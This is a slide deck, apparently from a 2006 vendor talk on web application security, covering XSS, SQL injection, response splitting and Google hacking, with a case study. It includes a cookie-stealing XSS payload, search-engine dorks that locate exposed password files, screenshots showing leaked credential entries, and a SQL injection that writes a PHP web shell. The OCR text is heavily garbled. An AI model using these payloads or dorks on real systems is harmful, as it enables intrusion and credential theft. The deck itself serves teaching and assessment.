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Proactive Security

Whoever is first in the field and awaits the
coming of the enemy, will be fresh for the
fight; whoever is second In the field and
has to hasten to battle will arrive
exhausted.

-- Sun-Tzu “The Art of War”
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Vulnerability Percentages

Percentage of Total Vulnerabilities related to Web Applications

100

a0

69 %

2004 2005 (First) 2005 (Second)
ITSC Volume IX {(March 2006)
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May 2006 Breakdown

Web App Vulnerabilities May 2006
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XSS Commands File Broken Storage
Upload Access
SQL Relative Account Buffer Data
Path Mgmt Owrflw Leak

SecurityTracker.com
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Cross-Site Scripting

« Whatisit? : The Web Application is used to store, transport, and deliver
malicious active content to an unsuspecting user.

 Root Cause: Failure to proactively reject or scrub malicious characters from
Input vectors.

 Impact: Persistent XSS is stored and executed at a later time, by a user. Allows
cookie theft, credential theft, data confidentiality, integrity, and availability risks.
Browser Hijacking and Unauthorized Access to Web Application is possible
using existing exploits.

o Solution: A global as well as Form and Field specific policy for handling
untrusted content. Use white lists and regular expressions to ensure input data
conforms to the required character set, size, and syntax.
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Investments

Online Application

Personal Information

* First Hame
(Do not use nicknames)

Middle Initial
* Last Name

* Social Security Humber
(formnat: s -]

* Birth Date
(format vy yy-mm-dd)

* Mother's Maiden Name
(For security werification)

* Addrgss
Appartment/Room Number
* City

* State

* Zip Code

Telephone Humber

* Email

Occupation

Annual Income

an asterix (%) indicates a required field,

|Jne

ER

|Hacker

|555-55-5585

l1985-11-11

|Fn:n:

Unvalidated
Input (XSS8)

|-=:script3=-alert (document . cookie)</script=

1z3

Hackvilla

|I:Please Select Btate) Vl

20210 |

|555-555-5E558

|fnn@fnn.cnm

|Criminal

1500000




1 Unvalidated Input (Al) with XSS (A4)
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elcome to Kelev Investments

Dear Joe,

Thank vou,
Your loan request has been registered,
Please save the following confirmation number for your records,

C1l005655293

& loan officer will contact you within the next 48 hours,
For further assistance you can reach us at 1-300-GET-LOAN,

Pay vour regular
rmanthly billz
[telephone,
electricity, rmobile

phane, insurance Malformed Loan Request was

ete, ] right here -
o et op. successfully processed.

Have a laook

© 2004 Kelev Investrnents




= Lodn request Lsis - MICrosoTl Internet cxplorer

File Edit Wiew Favaorites  Tools  Help

@Eack 7 e u @ h 'ﬁ] Search “?/\E‘Favcurltes @ &"2 ff I LJ .

Address |@ htkp: fflocalhost: 5051 fkelewphplapproveloanpage. php

Yf w2 ﬁ*l V|SearchWEb - ,5? * @* ®| (= Mail - @My‘fahm! - Ea

Welcome to Kelev Investments

¥ Home

Pending loan requests ‘:,si

» Net Banking # Request ID Requestor Category
¥ Credit Cards 1 1 John Mo afferty Hame

¥ Loans

¥ Contact Us Peter Lauros Haorme

¥ Bills Online Remmy Martin Zar

% Online Trading Rohert Marksman F'Erscun._al

Joe Hacker Home

» Register

Mray vour reqular
rnonthly bills
[telephone,
elactricity, mobile Attacker's Loan Request
phone, insurance
etc. ] right here -
from your desktap,
Hawve a look




A
| i Unvalidated Input (A1) with XSS (A4)

‘A Loan request details - Microsoft Internet Explorer

File Edit  Migw  Faworites  Tools  Help

@BECk T Ik..ai; B @ {:j pSearch "ii?Favarites @ @, :;:_ “ _|_J . 4

Address |@ http:/flocalhost: 80281 /kelevphp) approveloanpagedetail. php

Yf = éZ"| V|Search'-.-'-.-'el:u - ,ﬁ * @* @l = Mail - @My"r‘ahm! - Ea

Microsoft Internet Explorer

e

e

Bank Manager's Cookie is sent to the attacker
when the malicious loan request is viewed.




Unvalidated Input (A1) with XSS (A4)

Microsoft Internet Explorer

"2l Lodn regquest Ns15 - MICTOS0TI INTETNET LXplorer

File  Edit

» Home

» Loans

» Net Banking Category
» Credit Cards [ Horme

¥ Contact Us

» Bills Online

¥ Online Trading

Harn
¥ Register =

Attacker's Loan Request
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OBack < iLl El . 'Search 5 Favorites 64

&) http: /locahost:808 1 kelev/phphome . php

e

e

L B
B
J

| 15V Investments
“True Value True Money

Welcome to Kelev Investments

» Home

» Loans

» Met Banking

» Credit Cards

» Online Trading
» Contact Us

» Bills Online

» Mot a Member

Request a Starter Kit

Request material today that will give vou the
inforrnation vou'll need to learn about Kelavw's
competitive products and zervices,

Get More Expert Opinior
Add stock rezearch from eight
Market Cormmentry and Company-:

Recormmendations that provide cor
as an investrnent and o

»
&J | ocal intranet
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SQL Injection

« Whatis it?: Database contents are compromised or disclosed by the use of
specially crafted input that manipulates SQL Query Logic.

 Root Cause: Failure to properly scrub, reject, or escape domain-specific SQL
characters from an input vector.

 Impact: Data confidentiality, integrity, and availability with the ability to read,
modify, delete, or even drop database tables.

o Solution: Define accepted character-sets for input vectors, and enforce these
white lists rigorously. Force input to conform to specific patterns when other
special characters are needed: dd-mm-yyyy. Validate data length of all inputs.
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ogin - Microsoft Internet Explorer

Edit  Wiew

i - © - [0 @ ©

Favarites

Help

pSearch ﬂ?ﬁawrites @‘ @v [% H - D Fo iy Y

Tools

ress @ http: flocalhost: 8051 fkelev/phpflogin, php .V; o

®:
5 J freLcy Investments

felcome to Kelev Investments

ome
oans

et Banking
redit Cards
ontact Us

ills Online
nline Trading

egister

Yay wour regular
monthly bills
telephone,
zleckricity, rmabile
shone, insurance
#te ) right here -
rom your desktop,
dave a look

Login
3| Erter your user ID | I | Quick Links

Forgot your password?
[ Enter yvour password | | New user

Benefits

Unautharized access and use iz prohibited. Usage iz monitared.
@ 2004 Kelev Investrnents, All rights reserved, Used with parmission.

Pleaze carefully conzider the fund's investment objectives, risks, charges and expenszes before investing, For thiz and other information, CALL or
WRITE to Kelev for a free prospectus, or view one online, Read it carefully before you invest ar zend money.

Jone

W Local intranet
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HTTP Response Splitting

What is it?: The Web Application’s response to a malformed request gets
parsed ambiguously by the browser or intermediate servers (such as web
caching proxies), resulting in the browser seeing content for a request page
that is controllable by an attacker.

Root Cause: Failure to filter CR and LF Characters in input.

Impact: A malicious user can poison web cache servers or manipulate the
browser content of users, create cookies (CRLF Injection)

Solution: A global as well as Form and Field specific policy for handling
untrusted content. Use white lists and regular expressions to ensure input
data conforms to the required character set, size, and syntax. Ensure Server
mechanisms for redirection and error handling strip CR and LF characters,
thus preventing header manipulation attacks.
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) Sambar Server - Microsoft Internet Explorer

File Edit ‘Wiew Fawaorites  Tools  Help

OBack il > Iﬂ Iﬂ ; 1/. ! Search x Favorites  {0#]

Address | €7 http:/10.2.0,43:31337]

My Web Site

Home

Search Tools nmp Sambar Server 5.3
[Find |

o CDhuck Start Gude

Pro Version ($99713 from www.regnow.com)

Sambar Sites merver Documentation

Ifaiing List Security Suggestions

Mewsoroups & Commurity Frequently Asked Ouestions %

wpecial Ofers Installing PHFP
Sample Applications sambar Server Samples

sambar Zone

Java Tools System Administration
The Systemn Administration page provides web-based site management.

By default, the usernatme 12 'adiin' and the password 15 blank. We

hlal Server
servlet Eunner

WebDAY Support

Document Manager For security reasons, the System A dminstrator IP field in the server
AP Cherpt Engme configuration 15 defaulted to 127.0.0.1, which restricts administration to
DINS Server localhost'. To admimster the system from ancther machine, add the IP

DHCP Server address of the remnote machine to the System & dmimstrator TP field.
CEON Daemon

TTeptr Tiealeton — . —_

recommend that vou set a password for the admin account
immediately using the TTzer Management page.

& Internet
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Google: The Dark Side of Searching

Google

Weh iGroups  Mews Froogle Local more »

Freel Download the essentials to make your PC just work: Google Pack

Advertizing Programs - Business Salutions - About Google

Goaon q le
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Where are we going with this?

1. Using what can be discovered about a web site via
search engines is useful during penetration testing.

2. Passive Reconnaissance, Stealth, during the
Discovery Phase.

3. Search Engine content is a valid vector of risk: the
content of search engines that reveal
vulnerabilities and configuration errors constitutes
an exposure that should be taken into account by
an organization

+ % "& % % *
+
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Organizations are frequently unaware of the
danger of content being cached by a search
engine, thus this is a helpful area to explore and

document when delivering assessments. !CENZIC

SECURING ENTERPRISE APPLICATIONS




Google

Web |Images Groups [Mews Froogle Local more »

Aduanced Search

Prafersnces
Google Search ” I'm Feeling Lucky Language Tools

Freel Download the essentials to make your PC just work: Google Pack

Programs - Business Solutions - Ahout Gongle

@2008 Google

%

%
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The Google Search API

1. allintitle: <query terms> intitle: <Query Term>

This allows us to limit our search to only those terms
That appear in the title of a page, specifically in
Between the <title> tags.




The Google Search API

2. allinurl: <query terms>, inurl:<query term>

This allows us to limit our search to only those terms
that appear in the URL which Google used when

visiting a page.

Note: allinurl: ignores punctuation and special
characters, and does not strictly search by word
order.

Example: allinurl:/nusoap/foo/bar

In the example above the directory slashes would be ignored by Google,
As would the order of "nusoap”, “foo”, and “bar”
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The Google Search API

3. allintext: <query terms>, intext:<query term>

This allows us to restrict our search to only those text terms
that appear in the <body> of a page, ignoring all URL, Title, and Link
Results.

Note: allintext: ignores punctuation and special characters, and
does not enforce word order.
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The Google Search API

J &'
1*0 KL +

Use the plus to enforce word order in text searches.
For instance, searching for intext:SOAP+ENV is
equivalent to intext:"SOAP ENV.” Also, using the
plus sign will ensure that a common word is not
automatically excluded from Google Results, as in
This+is+an+Axis+Error+Page.

Use the — sign to eliminate unwanted results
containing the term after the minus sign, i.e. -CVS
—Mail. This can help to target URL elements while
excluding unwanted results.
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Can view “cached
Web s e b Frgs Lol moses documents” for extra stealth

Queries google for
vulnerabilities that he wants
to exploit and Google returns
a targets. / CN
If the Hacker has a grudge,
he can use “site:” to narrow
down the range to domains,
servers, or even extensions

“gov, mil,” etc. | ‘CENZIC
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Inurl: forgotten_password.php
intext: zen_pass

The majority of application worms use search
engines to propagate.
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GH Example: Find Applications via an Error signature

# 0 0% OM

# o % < F1 o+
+ F 7+ D + F* #
1 A A"F* #
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GH Example: Find Applications via an Error signature

Address @ http: § e, google. comfsearchg=allintitle: Portal % 2Bto % 2BG0%. 2BError &hl=enldr=Rskart=108s a=Mafilter=0

1
# % Y_’ - gj_?* “ |Searchweb ~ &7 E' @* @ [:'.M\,-' Web~ =g Mail - @My Yahoo! - éGames - %Baseball

Web |mages Groups Mews Froogle Local more »

GO i)g[e allintitle: Portal+to+Go+Error w

TN

Web Results 11 - 20 of abbut 11,800 for

Portal-tc-Go error

error. Service error.

meetings. allied-dev. com/ptg/
rm;jsessionid=32810e41c0334 a7 2b 1 feflacBdddcd3c pkjzbzinFallal0ke303IMm G- x4 Tag. .. -
1k - Supplemental Result - Cached - Similar pages

Portal-to-Go error

error. Service error,

meetings allied-dev. comdptg!

rm;jsessionid=8807 16455497 427 2bbffeb0f2aceZ3cY pkjzBzIinRallak0ke3D3IMNmME- x4 Tag. .. -
1k - Supplemental Result - Cached - Similar pages

Portal-tc-Go error

errar. Login errar.

wewew. portalrouter net/pto/

rim;jsessionid=a1953d9d3e6d45c9a651 bdeBa70da 1. gbjliEzP phe UaMOK 303 M4 TawS Lbxula. .
- 1k - Supplemental Result - Cached - Similar pages

Portal-to-Go error

error. Login errar.

wewniy. portalrouter net/ptyf
rm;jsessionid=0aB0630e334d46daa24dcbh16ecd5hdS . gbjimzPpheJal0kKe303IMNA TawSLbxula. .
- 1k - Supplemental Result - Cached - Similar pages

B CENZIC
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ﬁ@Bﬁacki' \_H‘,I |£| |£| ;] f.jSearch “S:f-’ Favorites Qﬁ 'v L__,,"‘; ] - _J ﬁ :’i
Address !@ hikkp: e, google, comsearchrhl=en@q=inurl%: 38adpassword  bxk

Y_l' = c_’,'af*l V|Search'-.-'u'eb | 57 El"’ @I* @ E‘.i'.MyWEI::* =] Mail - @M';.f'fahm! = éGames - @Baseball *  %b Musi

Web |mages Groups MNews Froogle Local more s

- 3 Advanced Search
GO L)Sle |Iﬂur|:adpasswurd_txt |[ Search T

Web Results 1- 10 of about 160

aadQdnipMOy - [ Translate this page |
aagdniphIOy

rd.txt - 1k - Supplemental Result - Cached - Similar pages

aaQsgmhAGEe

aallgmhABEe

I = ol o s sweord txt - Tk - Supplemental Result -
Cached - Similar pages

aalPVHY A

aaP v HY M

T = = o e foad s fadpassword.txt - 1k - Supplemental Result -
Cached - Similar pages

[ More results from www. dixie-net. cormn |

aaMGlLZADoMm
aaMGIZA arm
I - i - = vvordd 1t - 1k - Supplemental Result - Cached - Similar pages

aaB7QxBl3c
aalBY CxBl3c
R - s dpassword txt - Tk - Supplemental Result - Cached - Similar pages

aaaZnph v
agalnphs Jw

I - in‘bannerzdatafadpassward.txt - 1k - Supplemental Result -




A +P P* <A

+ *
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File Edit Yiew Faworites Tools  Help

& - | A ® <L i <) . - ﬁ -
@Eﬂack 7, |£| \ELI Tl | Search #_\.;-’ Favorites { == J_J] — .*&

Address @3 hitkp: /v, google . com)search?hl=engr=&gq=inur%:38auth_user_file txt&btnz=Search

'Yf = g?* -.v.%Search'-.-'-.-'el:l - & E' @' @ q‘.r‘-“ly'-.-'-.-'eb' = Mail - @My‘fahnu! - éGames -

CTAN Mavigator Readl ogll - [ Translate this page |
Log d'activiteé pour la partie Yegi-bin/DCShopffuth_datafauth_user file.txt. le nom du site ou

du pays se trouve dans la barre d'état lorsque I'on se place ...
c_gi-hinmcsmpmuth_datafauth_user_ﬁm.txt -3k -

Cached - Similar pages

Jald00New PODoAAldennyladmin|dennylschreiber]dasia0l@zbzoom netlon ...
Falaiwe POD0AAdennyladmin|denny|schreiber|dasr00E zbzoom. neton
eyhE4HvdFSEE0]dogwood|normalldebby|smithldenny@@inhometutor. comlon ... Q + +

cgi-bind xdod/datafauth_user file tut - 2k - Supplemental Result -
Cached - Similar pages

$1%hofEEGhampdiB33QShNUBHM |admin|admin|asdlasd|p9d@@hotmail com|on
$15ho3EEGhampd B33 05y NUBHM Jadminladmin|asdlasd|pSd@hotmail. comlon.

downloadss/TPHPY directdownloads/delinks/Datafauth_user filetxt - 1k -
Supplemental Result - Cached - Similar pages

gloose nlfcai-binfGlooseDirsearch? ad ?kevwords=al..
Similar pages

gd TMfa090Dsolaladminlalala@EEMOVE THISglon koW h FSgjlkAltest ...
gd ThFa0S00=olaladmin|alala@REMOYWE_THISglon koY lh FSgjlkAltestinormalltest]test|
test@REMOCNWE THIStest. comlon zdP w7 12810 sweethoy2|normal|sweet[boy|esksweest ...
ci-bind DCShoplAuth datafauth_user filetxt - 13k - Supplemental
Result - Cached - Similar pages
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Free swingerslist Personal adds! wOOt.
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Thanks!

tom@cenzic.com
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Security Assessment Process:. A Case Stud




Security Assessment Process:. A Case Stud




Zencart Application Error
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Path disclosure vulnerabilities tell an attacker where
the web application exists relative to the web server,
such as where on the server the application is

installed.
e e



Security Assessment Process:. A Case Stud




'UNION SELECT 0,0,'3 Blind Mice',0 INTO
OUTFILE 'C:/Mice.txt' from admin/*

Blind SQL Injection vulnerabilities allow a cracker to
determine what database tables exist and the types of
permissions associated with those tables.



BBGV W 7 O <

It doesn’t really matter what is injected so long as the
injection logic can produce an error that allows us to
discern true vs. false conditions.






'UNION SELECT 0,0, ' <?php echo “Welcome to PHP
Shell.";system($_GET[cmd]);?>' ,0 INTO OUTFILE
'C:/Documents and Settings/user/
Desktop/PortableWEB/PortableWEB3.2
/program/www/localhost/shell.php ' from zen_admin/*

By using ordinary SQL expression logic we can instruct
Mysql to create a file of our choosing anywhere on the
host OS. We also know exactly where the web root
directory is due to the handy application error.
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 The process follows the logical
flow of the application and its
vulnerabilities (App Logic)

« Each vulnerability helps us to know
more about the application and
leverage additional access.
(Interdependence)

« Specific finds yield information
relevant to other tests, which is
leveraged. (Specificity)

» Vulnerabilities are often signaled
by application specific rather than
generic responses. (Uniqueness)

 When testing for the vulnerability
we adapt to the particular
characteristics of the vulnerability
itself (Customization)






Stateful Assessment
 Multi-factored detection mechanisms

« XSS, SQL Injection, Response Splitting, _
Session Hijacking, Privilege Escalation, and

others.




*Thank you for your
time and attention!

eContact:

tom@cenzic.com




